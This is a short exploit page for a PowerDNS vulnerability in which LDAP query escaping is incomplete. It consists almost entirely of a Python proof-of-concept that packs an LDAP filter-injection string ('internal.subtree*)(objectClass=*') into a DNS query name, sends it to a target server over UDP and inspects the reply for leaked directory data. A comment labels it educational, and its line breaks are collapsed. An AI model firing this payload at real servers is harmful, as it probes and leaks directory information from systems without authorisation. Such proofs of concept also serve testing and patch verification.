CVE-2026-33609 PowerDNS LDAP查询转义不完整漏洞

import socket import struct # Proof of Concept for CVE-2026-33609 # This script demonstrates how to craft a DNS query that might trigger LDAP injection # when 8bit-dns is enabled and escaping is incomplete. def craft_dns_query(domain): # Standard DNS Header: ID=0x1337, Flags=0x0100 (Recursion Desired), QDCOUNT=1 header = struct.pack('!HHHHHH', 0x1337, 0x0100, 1, 0, 0, 0) # Question section # Encoding the domain name query_body = b'' for label in domain.split('.'): query_body += bytes([len(label)]) + label.encode('utf-8') query_body += b'\x00' # End of name # Type A (1), Class IN (1) query_body += struct.pack('!HH', 1, 1) return header + query_body def send_exploit(target_ip, target_port=53): # Attempting to inject LDAP filter logic to query internal subtree # In a real scenario, the payload would be crafted based on the specific LDAP backend schema # Example payload trying to match any object in an internal subtree payload = "internal.subtree*)(objectClass=*" packet = craft_dns_query(payload) try: print(f"[*] Sending crafted DNS query to {target_ip}...") sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sock.settimeout(5) sock.sendto(packet, (target_ip, target_port)) # Try to receive a response response, _ = sock.recvfrom(1024) print(f"[+] Received response (length: {len(response)} bytes)") # Analyze response to check if information disclosure occurred print("[!] Check response data for leaked LDAP structure or values.") except socket.timeout: print("[-] Request timed out.") except Exception as e: print(f"[-] Error: {e}") finally: sock.close() # Note: This is for educational purposes only. # send_exploit("192.168.1.10")